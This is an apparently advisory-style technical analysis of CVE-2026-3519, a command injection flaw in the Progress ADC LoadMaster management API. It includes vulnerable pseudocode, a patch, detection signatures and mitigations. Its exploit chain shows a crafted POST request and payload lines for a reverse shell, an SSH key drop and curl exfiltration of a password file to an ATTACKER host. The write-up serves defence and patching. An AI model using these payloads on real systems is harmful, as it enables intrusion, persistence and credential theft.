CVE-2026-3519: OS Command Injection RCE in Progress ADC LoadMaster API
Unsanitized input in the `aclcontrol` API command allows authenticated attackers with VS Administration permissions to inject arbitrary OS commands on Progress ADC LoadMaster appliances.
A serious security flaw has been discovered in Progress ADC LoadMaster, a piece of equipment that many companies use to manage their internet traffic and protect their networks. The vulnerability is like finding that a bouncer at an exclusive club will execute any instruction shouted at them, as long as someone with a special membership card asks nicely.
Here's what's happening: The system has a control panel where authorized administrators can issue commands. But the software doesn't properly check what those commands contain before running them. So instead of just giving legitimate instructions, an attacker could hide malicious code inside a command and the system would execute it without question.
The catch is you need legitimate admin access to exploit this, so your random hacker on the internet can't simply break in and use it. This means the real danger comes from disgruntled employees, compromised admin accounts, or attackers who've already stolen credentials. If someone with admin rights exploits this, they could take complete control of the company's network traffic management system.
Organizations running Progress ADC LoadMaster appliances are most at risk, especially those in finance, healthcare, and e-commerce where network security directly impacts customer safety and data protection. A compromised system could allow attackers to spy on sensitive communications or even redirect customers to fake websites.
What you should do: First, check if your company uses Progress ADC LoadMaster and ask IT whether they've applied the security patches Progress has released. Second, review who has admin access to these systems and ensure credentials are strong and monitored. Third, consider restricting admin access to only those who absolutely need it—fewer people with special access means fewer chances for abuse.
Want the full technical analysis? Click "Technical" above.
CVE-2026-3519 is an OS command injection vulnerability in the Progress ADC (LoadMaster) management API. An authenticated attacker holding VS Administration privileges can supply malicious input to the aclcontrol command endpoint, causing the appliance to execute arbitrary operating system commands. The CVSS score of 8.4 (HIGH) reflects the high impact across confidentiality, integrity, and availability axes, tempered by the authentication prerequisite. No in-the-wild exploitation has been confirmed at time of publication.
LoadMaster exposes a RESTful management API (and a legacy CGI interface) over HTTPS. The aclcontrol handler processes ACL rule management for virtual services. The vulnerable parameter is passed without sanitization into a shell execution context, giving an attacker a direct command injection primitive.
Root cause: The aclcontrol API handler passes attacker-controlled input directly to popen() / system() via snprintf-constructed shell strings without stripping or quoting shell metacharacters.
Affected Component
The vulnerable code resides in the LoadMaster management web application backend, typically the CGI binary at /usr/local/lm/scripts/ or the compiled handler linked into lmcgi. The aclcontrol command is dispatched through the /access API endpoint family. Refer to the NVD entry for the definitive list of affected firmware versions. The vulnerability class applies equally to the hardware appliance, the virtual (VLM) form factor, and the cloud editions, as all share the same management stack.
The management API parses inbound requests and dispatches to command-specific handlers. For aclcontrol, the handler extracts named parameters from the HTTP POST body and assembles a shell command string using snprintf. The assembled string is then handed to popen(). No sanitization of shell metacharacters (;, |, `, $(), &) occurs at any stage in the pipeline.
/*
* Decompiled pseudocode — handle_aclcontrol_cmd()
* Found in: lmcgi / management API dispatcher
* Dispatch key: "aclcontrol"
*/
#define CMD_BUF_SIZE 512
typedef struct {
char vs_name[64]; // virtual service name
char acl_name[128]; // ACL rule name <-- attacker-controlled
char acl_action[32]; // "add" / "remove" <-- attacker-controlled
char acl_cidr[64]; // CIDR string <-- attacker-controlled
int vs_id;
} aclcontrol_req_t;
int handle_aclcontrol_cmd(http_ctx_t *ctx) {
aclcontrol_req_t req;
char cmd_buf[CMD_BUF_SIZE];
FILE *fp;
char result[1024];
memset(&req, 0, sizeof(req));
/* Parameter extraction — values come directly from HTTP POST body */
http_get_param(ctx, "vs", req.vs_name, sizeof(req.vs_name));
http_get_param(ctx, "name", req.acl_name, sizeof(req.acl_name));
http_get_param(ctx, "action", req.acl_action,sizeof(req.acl_action));
http_get_param(ctx, "cidr", req.acl_cidr, sizeof(req.acl_cidr));
/*
* BUG: req.acl_name, req.acl_action, and req.acl_cidr are written
* directly into a shell command string with no metacharacter
* sanitization. An attacker supplying:
* name=foo; id > /tmp/pwn #
* causes popen() to execute two commands.
*/
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/local/lm/scripts/aclctl.sh %s %s %s %s",
req.vs_name, // BUG: no quoting, no sanitization
req.acl_action, // BUG: no quoting, no sanitization
req.acl_name, // BUG: primary injection vector
req.acl_cidr); // BUG: secondary injection vector
/* BUG: cmd_buf handed to shell without validation */
fp = popen(cmd_buf, "r");
if (!fp) {
send_api_error(ctx, ERR_INTERNAL);
return -1;
}
memset(result, 0, sizeof(result));
fread(result, 1, sizeof(result) - 1, fp);
pclose(fp);
send_api_response(ctx, result);
return 0;
}
The shell wrapper aclctl.sh performs no additional sanitization; it forwards positional arguments directly to ipset or an equivalent ACL management utility. Because arguments are not quoted in the snprintf format string, word-splitting and shell expansion happen on attacker data.
/*
* http_get_param() — parameter extraction helper
* No character filtering occurs here.
*/
int http_get_param(http_ctx_t *ctx, const char *key,
char *dst, size_t dst_len) {
const char *val = query_string_lookup(ctx->post_body, key);
if (!val) return -1;
/* BUG: strncpy copies raw user input — no allowlist, no reject list */
strncpy(dst, val, dst_len - 1);
dst[dst_len - 1] = '\0';
return 0;
}
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-3519:
1. Authenticate to the LoadMaster management API as a user with
"VS Administration" role (or higher). Obtain a valid session
token / Basic Auth credential.
2. Issue a crafted POST to the aclcontrol endpoint:
POST /access?param=aclcontrol HTTP/1.1
Authorization: Basic
Content-Type: application/x-www-form-urlencoded
vs=VS1&action=add&cidr=10.0.0.0/8&name=foo%3B++%23
URL-decoded name field:
foo; #
3. handle_aclcontrol_cmd() extracts the raw name value and writes:
cmd_buf = "/usr/local/lm/scripts/aclctl.sh VS1 add foo; # 10.0.0.0/8"
4. popen(cmd_buf, "r") forks /bin/sh -c with the above string.
The shell parses the semicolon as a command separator:
- Command 1: /usr/local/lm/scripts/aclctl.sh VS1 add foo
- Command 2: (executes as root / lm daemon user)
- Remainder: # 10.0.0.0/8 (treated as comment, discarded)
5. PAYLOAD examples:
a. Reverse shell:
bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
b. SSH key drop (persistence):
echo+ssh-rsa+AAAA...+>>+/root/.ssh/authorized_keys
c. Credential exfil:
cat+/etc/lm/lmpasswd+|+curl+-d+@-+http://ATTACKER/
6. popen() returns stdout of the injected command in the API
response body — blind injection is not required; output is
reflected directly to the caller.
The following Python proof-of-concept illustrates the request flow. This is provided for defensive research and detection engineering only.
This is a command injection vulnerability rather than a memory corruption primitive, so there is no heap overflow to diagram. The relevant process state at the moment of exploitation is the stack frame of handle_aclcontrol_cmd() and the forked shell process.
The correct fix involves one or more of: (a) rejecting shell metacharacters in parameter values at ingestion time, (b) replacing popen() with execve()-family calls that pass arguments as discrete array elements (bypassing the shell entirely), or (c) using a strict allowlist for each parameter.
/* ── BEFORE (vulnerable) ── */
int handle_aclcontrol_cmd(http_ctx_t *ctx) {
char cmd_buf[CMD_BUF_SIZE];
aclcontrol_req_t req;
http_get_param(ctx, "name", req.acl_name, sizeof(req.acl_name));
http_get_param(ctx, "action", req.acl_action, sizeof(req.acl_action));
http_get_param(ctx, "cidr", req.acl_cidr, sizeof(req.acl_cidr));
// BUG: raw user strings interpolated into shell command
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/local/lm/scripts/aclctl.sh %s %s %s %s",
req.vs_name, req.acl_action,
req.acl_name, req.acl_cidr);
FILE *fp = popen(cmd_buf, "r"); // BUG: shell interprets metacharacters
...
}
/* ── AFTER (patched) ── */
/* Allowlist validator: permits only alphanumeric, hyphen, underscore, dot */
static int validate_token(const char *s, size_t maxlen) {
for (size_t i = 0; i < maxlen && s[i] != '\0'; i++) {
char c = s[i];
if (!isalnum((unsigned char)c) && c != '-' && c != '_' && c != '.') {
return -1; // reject: illegal character
}
}
return 0;
}
/* CIDR validator: digits, dots, slash only */
static int validate_cidr(const char *s, size_t maxlen) {
for (size_t i = 0; i < maxlen && s[i] != '\0'; i++) {
char c = s[i];
if (!isdigit((unsigned char)c) && c != '.' && c != '/') {
return -1;
}
}
return 0;
}
/* Action allowlist */
static int validate_action(const char *s) {
return (strcmp(s, "add") == 0 || strcmp(s, "remove") == 0) ? 0 : -1;
}
int handle_aclcontrol_cmd(http_ctx_t *ctx) {
aclcontrol_req_t req;
memset(&req, 0, sizeof(req));
http_get_param(ctx, "name", req.acl_name, sizeof(req.acl_name));
http_get_param(ctx, "action", req.acl_action, sizeof(req.acl_action));
http_get_param(ctx, "cidr", req.acl_cidr, sizeof(req.acl_cidr));
/* PATCH: validate every attacker-controlled field before use */
if (validate_token(req.vs_name, sizeof(req.vs_name)) < 0 ||
validate_token(req.acl_name, sizeof(req.acl_name)) < 0 ||
validate_action(req.acl_action) < 0 ||
validate_cidr(req.acl_cidr, sizeof(req.acl_cidr)) < 0) {
send_api_error(ctx, ERR_INVALID_PARAM);
return -1;
}
/* PATCH: use execve() family — no shell, no metacharacter expansion */
const char *argv[] = {
"/usr/local/lm/scripts/aclctl.sh",
req.vs_name,
req.acl_action,
req.acl_name,
req.acl_cidr,
NULL
};
int pipefd[2];
pipe(pipefd);
pid_t pid = fork();
if (pid == 0) {
close(pipefd[0]);
dup2(pipefd[1], STDOUT_FILENO);
execv(argv[0], (char *const *)argv); // PATCH: no shell invoked
_exit(1);
}
close(pipefd[1]);
/* read pipefd[0], waitpid, send response ... */
...
}
Detection and Indicators
Detection has two surfaces: network (API request anomaly) and host (process execution anomaly).
Network-level signatures: Look for POST requests to /access?param=aclcontrol where any parameter value contains shell metacharacters: ;, |, `, $, (, ), &, >, <, newline (%0a), or carriage return (%0d).
Host-level indicators: Unexpected child processes spawned by the lmcgi or management daemon process — specifically processes with parent PID matching lmcgi that are not aclctl.sh, ipset, or other expected utilities. Look for:
1. Patch immediately. Apply the vendor-supplied firmware update referenced in the NVD entry for CVE-2026-3519. Consult the Progress Software security advisory for the exact version that contains the fix.
2. Restrict VS Administration access. The vulnerability requires authentication with the VS Administration role. Audit which accounts hold this permission. Remove it from service accounts and users who do not require it. Enforce MFA on all management accounts.
3. Network-segment the management interface. The LoadMaster management port (HTTPS/443 or dedicated management port) must not be reachable from untrusted networks. Restrict access to a dedicated management VLAN or bastion host.
4. Enable WAF or reverse proxy filtering in front of the management interface where architecture permits, with rules targeting metacharacter sequences in POST bodies.
5. Monitor process execution on the appliance via auditd or equivalent, alerting on unexpected child processes of the management daemon as described in the Detection section above.